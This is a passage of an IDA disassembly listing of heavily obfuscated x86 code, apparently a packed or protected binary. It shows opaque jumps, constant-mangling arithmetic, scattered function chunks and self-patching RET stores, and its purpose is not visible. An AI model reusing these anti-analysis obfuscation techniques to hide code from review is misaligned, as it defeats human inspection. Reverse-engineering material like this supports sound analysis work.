sub_74E40A endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_752FC5 loc_74E422: ; CODE XREF: sub_752FC5:loc_753E72j mov eax, [esp+0] push edx call sub_75740D mov eax, 0D59435E2h call sub_746E93 push esi jmp loc_745C7B ; END OF FUNCTION CHUNK FOR sub_752FC5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_752D11 loc_74E43B: ; CODE XREF: sub_752D11-87Fj jnz loc_74C92C jmp loc_7542F1 ; END OF FUNCTION CHUNK FOR sub_752D11 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74E84B loc_74E446: ; CODE XREF: sub_74E84B-8887j xor eax, 1EC0448Bh jmp loc_754C82 ; END OF FUNCTION CHUNK FOR sub_74E84B ; =============== S U B R O U T I N E ======================================= sub_74E451 proc near ; CODE XREF: sub_747820:loc_7458A6p ; _0z4jwtox:0074EF91j ; FUNCTION CHUNK AT 0074F887 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00751F3D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0075238B SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00752DB0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00753040 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 007530F0 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00755D3C SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0075627C SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00757054 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00757586 SIZE 00000010 BYTES xchg ebx, [esp+0] pop ebx jz loc_74F887 cmp dword ptr [ebp-14h], 4 jnz loc_74DE2C mov eax, [ebp+8] or dword ptr [eax-8], 4 loc_74E46C: ; CODE XREF: _0z4jwtox:loc_7513D8j jmp loc_7530F0 sub_74E451 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_745C55 loc_74E471: ; CODE XREF: sub_745C55:loc_74A9B6j jz loc_745C4D jmp loc_754F02 ; END OF FUNCTION CHUNK FOR sub_745C55 ; --------------------------------------------------------------------------- xchg edx, [ebx] cmp edi, 13DF116Dh jmp loc_74E0BC ; --------------------------------------------------------------------------- loc_74E489: ; CODE XREF: _0z4jwtox:00752144j or esi, 0FC2BF7A4h ; START OF FUNCTION CHUNK FOR sub_7544F1 loc_74E48F: ; CODE XREF: sub_7544F1-23BFj sub edi, 314D504Fh add edi, 78E84191h or edi, 624A8CE0h xor edi, 0BAE8069h xor eax, edi push offset loc_74F20A jmp nullsub_190 ; END OF FUNCTION CHUNK FOR sub_7544F1 ; --------------------------------------------------------------------------- loc_74E4B3: ; CODE XREF: _0z4jwtox:007552D0j pop edi ; START OF FUNCTION CHUNK FOR sub_755C10 loc_74E4B4: ; CODE XREF: sub_755C10-956j sub eax, 240F5485h xor eax, 377C2E9Fh add eax, 0C4119520h call sub_74DFE1 ; END OF FUNCTION CHUNK FOR sub_755C10 ; START OF FUNCTION CHUNK FOR sub_74A094 loc_74E4CB: ; CODE XREF: sub_74A094+ACBEj jmp loc_74E7CB ; END OF FUNCTION CHUNK FOR sub_74A094 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7470E8 loc_74E4D0: ; CODE XREF: sub_7470E8:loc_7577C0j jl loc_755153 ; END OF FUNCTION CHUNK FOR sub_7470E8 ; START OF FUNCTION CHUNK FOR sub_745697 loc_74E4D6: ; CODE XREF: sub_745697+15j ; _0z4jwtox:00754631j jmp loc_755E95 ; END OF FUNCTION CHUNK FOR sub_745697 ; --------------------------------------------------------------------------- add ecx, 6AAAF9BEh jg loc_752ED9 jmp loc_75514E ; --------------------------------------------------------------------------- mov ds:off_41F0D8, eax lea eax, sub_7523A2 mov byte ptr [eax], 0C3h jmp loc_756A0A ; --------------------------------------------------------------------------- call nullsub_294 jmp ds:dword_41F0DC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_752C8E loc_74E50B: ; CODE XREF: sub_752C8E+19j jmp loc_74F14C ; END OF FUNCTION CHUNK FOR sub_752C8E ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_294. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- jnz loc_755084 mov eax, [esp] jmp loc_74CED8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74A3AB loc_74E51F: ; CODE XREF: sub_74A3AB:loc_7548BAj lea eax, loc_74A78D push offset sub_747B76 jmp loc_753009 ; END OF FUNCTION CHUNK FOR sub_74A3AB ; --------------------------------------------------------------------------- loc_74E52F: ; CODE XREF: _0z4jwtox:0074CCD2j and eax, edi ; =============== S U B R O U T I N E ======================================= sub_74E531 proc near ; CODE XREF: sub_749115+6CB0p ; FUNCTION CHUNK AT 0074EEFB SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0074F295 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0075413C SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00754E7A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00756CFD SIZE 00000005 BYTES xchg edi, [esp+0] pop edi push 7672FC31h jmp loc_74F295 sub_74E531 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746E93 loc_74E53F: ; CODE XREF: sub_746E93+3CC1j jz loc_751E83 jmp loc_75441D ; END OF FUNCTION CHUNK FOR sub_746E93 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_197. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_74E54B: ; CODE XREF: _0z4jwtox:0074BCB5j jmp loc_74FE0A ; --------------------------------------------------------------------------- xchg esi, ebp pushf jmp sub_752737 ; --------------------------------------------------------------------------- push ebx push 3911B4F2h pop ebx add ebx, 39C2FC70h jmp loc_74DB9C ; --------------------------------------------------------------------------- loc_74E56A: ; CODE XREF: _0z4jwtox:0075089Fj mov eax, [esp] push edx push esi push 0E1D3FE57h jmp loc_74B35F ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_57. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75609F loc_74E57A: ; CODE XREF: sub_75609F:loc_7507EBj jge loc_74CD72 mov edx, [esi] adc ebp, 33A8201Bh pushf jmp loc_74A391 ; END OF FUNCTION CHUNK FOR sub_75609F ; =============== S U B R O U T I N E ======================================= sub_74E58E proc near ; CODE XREF: _0z4jwtox:loc_7457C5j ; sub_746389:loc_74A5F1p ... arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00745E1D SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0074B7BB SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0074B9A9 SIZE 00000017 BYTES xchg esi, [esp+0] pop esi xchg esi, [esp-4+arg_0] mov edi, esi pop esi add edi, 763B76E6h jmp loc_74B9A9 sub_74E58E endp ; sp-analysis failed ; --------------------------------------------------------------------------- locret_74E5A3: ; CODE XREF: _0z4jwtox:007546EEj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7457CB loc_74E5A4: ; CODE XREF: sub_7457CB:loc_74FD2Aj shr eax, 6 mov [ebp-10h], eax mov eax, [ebp+8] push offset loc_751EB1 jmp nullsub_75 ; END OF FUNCTION CHUNK FOR sub_7457CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748FA4 loc_74E5B7: ; CODE XREF: sub_748FA4+1FDCj xchg ebx, [edx] jmp loc_749AD6 ; END OF FUNCTION CHUNK FOR sub_748FA4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_754C68 loc_74E5BE: ; CODE XREF: sub_754C68:loc_74CDDCj ; _0z4jwtox:0074CDF3j sub eax, 47867093h add eax, 532265E8h push ebx push offset loc_7495AE jmp loc_748EA9 ; END OF FUNCTION CHUNK FOR sub_754C68 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C8DA loc_74E5D5: ; CODE XREF: sub_74C8DA+386Ej jz loc_7573A4 jmp loc_74DC95 ; END OF FUNCTION CHUNK FOR sub_74C8DA ; --------------------------------------------------------------------------- loc_74E5E0: ; CODE XREF: _0z4jwtox:0074F589j sbb ebp, 0C5A1745Ah ; START OF FUNCTION CHUNK FOR sub_74F15D loc_74E5E6: ; CODE XREF: sub_74F15D+409j and ebx, 9E75C696h sub ebx, 0AA1819D5h xor ebx, 7C0E41D5h add ebx, 0E01E09EBh xchg ebx, [esp+8+var_8] jmp loc_7452BD ; END OF FUNCTION CHUNK FOR sub_74F15D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74A7D8 loc_74E606: ; CODE XREF: sub_74A7D8+3E54j mov eax, 65F8A850h call sub_746E93 call sub_74F660 ; END OF FUNCTION CHUNK FOR sub_74A7D8 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_135. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75622B loc_74E616: ; CODE XREF: sub_75622B+23Bj jmp loc_755640 ; END OF FUNCTION CHUNK FOR sub_75622B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747778 loc_74E61B: ; CODE XREF: sub_747778+13j jmp loc_74665B ; END OF FUNCTION CHUNK FOR sub_747778 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74A7D8 loc_74E620: ; CODE XREF: sub_74A7D8:loc_748928j mov eax, [esp+4+var_4] push edx call sub_748C0D shr eax, 12h jmp loc_74E606 ; END OF FUNCTION CHUNK FOR sub_74A7D8 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_179. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_74E632: ; CODE XREF: _0z4jwtox:0074DA17j jmp loc_74ABA2 ; --------------------------------------------------------------------------- loc_74E637: ; CODE XREF: _0z4jwtox:0074D500j add edi, 444638AAh push offset sub_74F1E7 jmp loc_756237 ; --------------------------------------------------------------------------- loc_74E647: ; CODE XREF: _0z4jwtox:loc_747BFBj jnz loc_7536AE ; START OF FUNCTION CHUNK FOR sub_74D4D3 loc_74E64D: ; CODE XREF: sub_74D4D3+8EC6j jmp loc_74C8BB ; END OF FUNCTION CHUNK FOR sub_74D4D3 ; --------------------------------------------------------------------------- loc_74E652: ; CODE XREF: _0z4jwtox:007513B3j jmp loc_745E3F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_749C06 loc_74E657: ; CODE XREF: sub_749C06+Fj jmp nullsub_285 ; END OF FUNCTION CHUNK FOR sub_749C06 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74A25C loc_74E65C: ; CODE XREF: sub_74A25C-51D3j jmp nullsub_277 ; END OF FUNCTION CHUNK FOR sub_74A25C ; --------------------------------------------------------------------------- jl loc_747EE8 jmp loc_74D482 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74AE46 loc_74E66C: ; CODE XREF: sub_74AE46-5DC7j jns loc_74AC63 add edx, 9E953D87h jnp loc_74C7D2 mov [eax], esi jmp loc_745F5F ; END OF FUNCTION CHUNK FOR sub_74AE46 ; =============== S U B R O U T I N E ======================================= sub_74E685 proc near ; CODE XREF: _0z4jwtox:007454C7p ; _0z4jwtox:00747A26j ; FUNCTION CHUNK AT 0074603E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 007461FC SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00746574 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0074B57A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00753BBA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00754F9D SIZE 0000000D BYTES xchg ebx, [esp+0] pop ebx mov edx, [ebp-4] imul byte ptr [edx] jmp loc_754F9D sub_74E685 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_74E693 proc near ; CODE XREF: _0z4jwtox:0074D5AEj ; sub_7572F3+Ap ; FUNCTION CHUNK AT 007455E6 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00749C65 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074C473 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0074FC88 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00750BD5 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00753DD1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007554F2 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00757214 SIZE 0000000B BYTES xchg edi, [esp+0] pop edi sub al, 99h mov edx, [ebp-4] imul byte ptr [edx] cmp al, 0A4h jz loc_7494F9 jmp loc_757214 sub_74E693 endp ; sp-analysis failed ; --------------------------------------------------------------------------- or edi, 5FE19519h jmp sub_746DB9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74AAC1 loc_74E6B6: ; CODE XREF: sub_74AAC1+5191j jle loc_746406 loc_74E6BC: ; CODE XREF: sub_74AAC1+1695j or ecx, 16A93A3Bh push offset sub_74513A jmp loc_7543E3 ; END OF FUNCTION CHUNK FOR sub_74AAC1 ; --------------------------------------------------------------------------- loc_74E6CC: ; CODE XREF: _0z4jwtox:0074D4C0j test ebp, 0BC3721D5h jmp loc_7525DC ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_151. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7510EA loc_74E6D8: ; CODE XREF: sub_7510EA:loc_7540F9j jg loc_752E3A shl esi, 0Dh loc_74E6E1: ; CODE XREF: sub_7510EA:loc_74B70Ej ; _0z4jwtox:00752DCFj lea eax, [ebp-12Dh] push eax call sub_7451D9 mov [ebp-4], eax jmp loc_753A23 ; END OF FUNCTION CHUNK FOR sub_7510EA ; =============== S U B R O U T I N E ======================================= sub_74E6F5 proc near ; DATA XREF: sub_7553F4+778o ; FUNCTION CHUNK AT 00746C98 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00749F15 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0075696F SIZE 00000005 BYTES add eax, 80717C88h mov eax, [eax] mov al, [eax] call sub_7572F3 loc_74E704: ; CODE XREF: sub_756327-C55Fj jmp loc_749F15 sub_74E6F5 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7571A1 loc_74E709: ; CODE XREF: sub_7571A1-E0BDj jmp loc_74979B ; END OF FUNCTION CHUNK FOR sub_7571A1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7501AF loc_74E70E: ; CODE XREF: sub_7501AF-7AA9j jmp loc_7568A0 ; END OF FUNCTION CHUNK FOR sub_7501AF ; --------------------------------------------------------------------------- locret_74E713: ; CODE XREF: _0z4jwtox:loc_7450F1j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_755C38 loc_74E714: ; CODE XREF: sub_755C38-F708j jmp loc_74DD1B ; END OF FUNCTION CHUNK FOR sub_755C38 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C22 loc_74E719: ; CODE XREF: sub_747C22:loc_74D436j pop ecx mov dword ptr [ebp-20h], 1 loc_74E721: ; CODE XREF: sub_747C22+D8C5j jnz loc_747ECE push 591C4F6Ch pop eax jmp loc_74D88C ; END OF FUNCTION CHUNK FOR sub_747C22 ; --------------------------------------------------------------------------- push esi call sub_74667B ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_41. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_74E739: ; CODE XREF: _0z4jwtox:0075127Aj jmp loc_747B08 ; --------------------------------------------------------------------------- loc_74E73E: ; CODE XREF: _0z4jwtox:00749FC1j jmp locret_74FE4F ; --------------------------------------------------------------------------- loc_74E743: ; CODE XREF: _0z4jwtox:007470D4j add eax, 3F47A420h call sub_746E93 mov ds:off_41F150, eax lea eax, loc_74E2C2 mov byte ptr [eax], 0C3h jmp loc_74E2C2 ; =============== S U B R O U T I N E ======================================= sub_74E762 proc near ; CODE XREF: sub_414D55+17p ; DATA XREF: zugr1819:off_41F154o ; FUNCTION CHUNK AT 007452D6 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 007452FF SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00747912 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00747F80 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00748646 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074926F SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0074D745 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074DED7 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 0074E25C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 007541FF SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00754AE9 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00757307 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0075781A SIZE 00000021 BYTES jno loc_7452D6 mov eax, ds:dword_747C08 or eax, eax jmp loc_7541FF sub_74E762 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_749B95 loc_74E775: ; CODE XREF: sub_749B95+28B0j pop ebx ror eax, 1Dh add eax, 0F304E64Eh ; END OF FUNCTION CHUNK FOR sub_749B95 ; START OF FUNCTION CHUNK FOR sub_749980 loc_74E77F: ; CODE XREF: sub_749980:loc_746C1Dj mov edx, [esp+0] push esi mov esi, eax jmp loc_756C6F ; END OF FUNCTION CHUNK FOR sub_749980 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74ECEF loc_74E78A: ; CODE XREF: sub_74ECEF-4AF8j rol ebp, 1Fh loc_74E78D: ; CODE XREF: sub_74ECEF:loc_74A1DDj add edi, 1B8FC9F7h add edi, edx add edi, 79A6E899h jmp loc_746645 ; END OF FUNCTION CHUNK FOR sub_74ECEF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74AAC1 loc_74E7A0: ; CODE XREF: sub_74AAC1:loc_74D337j push esi call sub_7470E8 loc_74E7A6: ; CODE XREF: sub_753B3E+1D7Aj mov [ebp-10h], eax jmp loc_7558FA ; END OF FUNCTION CHUNK FOR sub_74AAC1 ; =============== S U B R O U T I N E ======================================= sub_74E7AE proc near ; CODE XREF: sub_74BA29+4F0Aj ; FUNCTION CHUNK AT 00748D7F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074ED14 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00754EB3 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00756E68 SIZE 0000001B BYTES add esp, 0FFFFFFE4h mov [ebp-8], edx mov [ebp-4], eax xor eax, eax mov [ebp-0Ch], eax cmp dword ptr [ebp-4], 0 jz loc_754EB3 jmp loc_748D7F sub_74E7AE endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74A094 loc_74E7CB: ; CODE XREF: sub_74A094:loc_74E4CBj mov [ebp-4], eax cmp dword ptr [ebp-4], 0 push offset loc_7494C4 jmp loc_751F10 ; END OF FUNCTION CHUNK FOR sub_74A094 ; --------------------------------------------------------------------------- jnz loc_7473FD ; START OF FUNCTION CHUNK FOR sub_74F73B loc_74E7E2: ; CODE XREF: sub_74F73B+1868j jmp sub_746CF0 ; END OF FUNCTION CHUNK FOR sub_74F73B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74504D loc_74E7E7: ; CODE XREF: sub_74504D+12j jmp loc_7500EF ; END OF FUNCTION CHUNK FOR sub_74504D ; --------------------------------------------------------------------------- push 805E002Fh cdq jmp loc_7473FD ; --------------------------------------------------------------------------- loc_74E7F7: ; CODE XREF: _0z4jwtox:loc_747677j test ecx, 715E4D64h jmp loc_74F4A6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C0A0 loc_74E802: ; CODE XREF: sub_74C0A0-1942j call sub_748C3B loc_74E807: ; CODE XREF: sub_74C670+934Ej jmp loc_746CB5 ; END OF FUNCTION CHUNK FOR sub_74C0A0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74BCF7 loc_74E80C: ; CODE XREF: sub_74BCF7+7ABFj jmp nullsub_268 ; END OF FUNCTION CHUNK FOR sub_74BCF7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C22 loc_74E811: ; CODE XREF: sub_747C22+7B3Bj jmp nullsub_238 ; END OF FUNCTION CHUNK FOR sub_747C22 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_757314 loc_74E816: ; CODE XREF: sub_757314-9DEEj jmp locret_74DC94 ; END OF FUNCTION CHUNK FOR sub_757314 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_755C38 loc_74E81B: ; CODE XREF: sub_755C38:loc_74DD21j push edx call sub_748C0D push 0B9FCD67Ah pop eax rol eax, 6 jmp loc_74ADEB ; END OF FUNCTION CHUNK FOR sub_755C38 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7490F6 loc_74E82F: ; CODE XREF: sub_7490F6:loc_7527B9j sub al, 99h push offset sub_74A821 jmp loc_74EAE4 ; END OF FUNCTION CHUNK FOR sub_7490F6 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_131. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74FE55 loc_74E83C: ; CODE XREF: sub_74FE55+6A0Cj jmp loc_755887 ; END OF FUNCTION CHUNK FOR sub_74FE55 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74A0BD loc_74E841: ; CODE XREF: sub_74A0BD+2EB5j jmp loc_753D8D ; END OF FUNCTION CHUNK FOR sub_74A0BD ; --------------------------------------------------------------------------- loc_74E846: ; CODE XREF: _0z4jwtox:00747AE7j jmp loc_754618 ; =============== S U B R O U T I N E ======================================= sub_74E84B proc near ; CODE XREF: sub_74EA54:loc_74D6A3p ; _0z4jwtox:0075575Fj ; FUNCTION CHUNK AT 00745FBE SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00746C22 SIZE 00000003 BYTES ; FUNCTION CHUNK AT 0074E446 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00754C82 SIZE 00000019 BYTES xchg ebx, [esp+0] pop ebx lea eax, sub_750715 call sub_74E0C2 loc_74E85A: ; CODE XREF: sub_752115+Cj jmp loc_745FBE sub_74E84B endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7543C5 loc_74E85F: ; CODE XREF: sub_7543C5:loc_746E05j pop ebx rol ebx, 1Ch or ebx, 4F241C96h rol ebx, 16h xor ebx, 9F67FF60h add ebx, 2CCA4D72h popf xor eax, ebx jmp loc_753410 ; END OF FUNCTION CHUNK FOR sub_7543C5 ; --------------------------------------------------------------------------- loc_74E880: ; CODE XREF: _0z4jwtox:007536F4j xor esi, 2366AF53h test esi, 8 jmp loc_75775A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747AEC loc_74E891: ; CODE XREF: sub_747AEC+7D4Dj jz loc_746194 jmp loc_750837 ; END OF FUNCTION CHUNK FOR sub_747AEC ; --------------------------------------------------------------------------- mov ds:dword_41F024, eax lea eax, nullsub_290 mov byte ptr [eax], 0C3h jmp nullsub_290 ; --------------------------------------------------------------------------- call nullsub_276 jmp ds:dword_41F028 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C670 loc_74E8BB: ; CODE XREF: sub_74C670-4A85j jmp loc_757336 ; END OF FUNCTION CHUNK FOR sub_74C670 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_276. PRESS KEYPAD "+" TO EXPAND] dd offset dword_5C3A44+3C3Dh align 2 jmp loc_748BB3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C39 loc_74E8CB: ; CODE XREF: sub_747C39-1D71j jb loc_74B2A4 pop ebp sbb ebp, 0D8875AF3h add ebp, 0C0265149h loc_74E8DE: ; CODE XREF: sub_747C39:loc_745EBFj or esi, 92859DC5h sub esi, 2675E6Ch add esi, 0B21916Bh mov [esi], eax jmp loc_75671F ; END OF FUNCTION CHUNK FOR sub_747C39 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74BED4 loc_74E8F7: ; CODE XREF: sub_74BED4:loc_74BEE3j call sub_750D29 loc_74E8FC: ; CODE XREF: sub_750A63+2E55j jl loc_748FF9 loc_74E902: ; CODE XREF: sub_74E95A+418Ej jmp sub_749FEE ; END OF FUNCTION CHUNK FOR sub_74BED4 ; --------------------------------------------------------------------------- xchg edx, ebx sub eax, 0E14AE3Fh jmp loc_748FF9 ; --------------------------------------------------------------------------- loc_74E914: ; DATA XREF: sub_74B020+7o push edx push edx push 0C771792Fh pop edx xor edx, 0AA37B6BEh jmp loc_747E04 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7541BA loc_74E927: ; CODE XREF: sub_7541BA-9E5Bj jno loc_74C4AA pop edi rol ecx, 8 loc_74E931: ; CODE XREF: sub_7541BA:loc_754FAAj xor eax, 208FE778h or eax, 4A7EA84Ch test eax, 2 jmp loc_75493B ; END OF FUNCTION CHUNK FOR sub_7541BA ; --------------------------------------------------------------------------- loc_74E948: ; CODE XREF: _0z4jwtox:loc_755759j jnz loc_748EF0 jmp loc_749A25 ; --------------------------------------------------------------------------- test ebx, ebp jmp loc_74F735 ; =============== S U B R O U T I N E ======================================= sub_74E95A proc near ; CODE XREF: _0z4jwtox:0074BD5Aj ; _0z4jwtox:loc_752ED9p ; FUNCTION CHUNK AT 0074CF5A SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00752ADF SIZE 0000000E BYTES xchg edx, [esp+0] pop edx call sub_746E93 push ebx push 4D48A0A7h pop ebx or ebx, 115DC189h jns loc_74CF5A sub_74E95A endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_7473D1 loc_74E976: ; CODE XREF: sub_7473D1+78AEj jmp loc_751538 ; END OF FUNCTION CHUNK FOR sub_7473D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74AAC1 loc_74E97B: ; CODE XREF: sub_74AAC1+5545j jz loc_757783 jmp loc_74AC73 ; END OF FUNCTION CHUNK FOR sub_74AAC1 ; =============== S U B R O U T I N E ======================================= sub_74E986 proc near ; DATA XREF: sub_7545C6-BC90o var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00752792 SIZE 00000006 BYTES mov edx, [esp+0] push eax mov eax, edx nop mov eax, [esp+4+var_4] jmp loc_752792 sub_74E986 endp ; --------------------------------------------------------------------------- loc_74E995: ; CODE XREF: _0z4jwtox:0074DE1Aj jl sub_756834 ror ebx, 0Fh add ebp, edx test edi, edx jmp loc_751375 ; --------------------------------------------------------------------------- loc_74E9A7: ; CODE XREF: _0z4jwtox:00745750j jno loc_753942 shl edi, 2 jmp sub_757251 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74FE55 loc_74E9B5: ; CODE XREF: sub_74FE55+Cj jnz loc_750193 jmp loc_75440C ; END OF FUNCTION CHUNK FOR sub_74FE55 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7529AB loc_74E9C0: ; CODE XREF: sub_7529AB:loc_748591j push 52E669ABh pop ebx or ebx, 0ED679AAEh add ebx, 5E9CC77Bh and ebx, 96081E39h add ebx, 0EA7502ABh xchg ebx, [esp+0] jmp sub_754E36 ; END OF FUNCTION CHUNK FOR sub_7529AB ; --------------------------------------------------------------------------- loc_74E9E6: ; CODE XREF: _0z4jwtox:0075307Aj ror eax, 0Bh mov ds:dword_74B958, eax retn ; --------------------------------------------------------------------------- loc_74E9F0: ; CODE XREF: _0z4jwtox:0074A34Dj jmp sub_745715 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75143A loc_74E9F5: ; CODE XREF: sub_75143A+1B51j rol eax, 0Bh push ebx mov ebx, eax xchg ebx, [esp+0] retn ; END OF FUNCTION CHUNK FOR sub_75143A ; --------------------------------------------------------------------------- sub edi, ebx jmp sub_752957 ; --------------------------------------------------------------------------- loc_74EA06: ; CODE XREF: _0z4jwtox:00748686j jl loc_74687E and ecx, 90B2AE1h adc edx, 0FFE56F3Dh jns loc_749B06 cmp eax, 31A260CBh jmp loc_7522FD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_756AA2 loc_74EA29: ; CODE XREF: sub_756AA2:loc_756AB5j push ecx mov ecx, eax xchg ecx, [esp+8+var_8] loc_74EA2F: ; CODE XREF: sub_75143A:loc_746334j mov eax, [ebp-1Ch] jmp loc_74503E ; END OF FUNCTION CHUNK FOR sub_756AA2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748538 loc_74EA37: ; CODE XREF: sub_748538:loc_756357j jz loc_74F776 jmp loc_749015 ; END OF FUNCTION CHUNK FOR sub_748538 ; --------------------------------------------------------------------------- cmp esi, edi jmp loc_74AE88 ; --------------------------------------------------------------------------- add ebx, 736C0DFDh jmp loc_745F31 ; =============== S U B R O U T I N E ======================================= sub_74EA54 proc near ; CODE XREF: _0z4jwtox:0075055Bj ; sub_7474B9+BA91p ; FUNCTION CHUNK AT 0074BB05 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074D6A3 SIZE 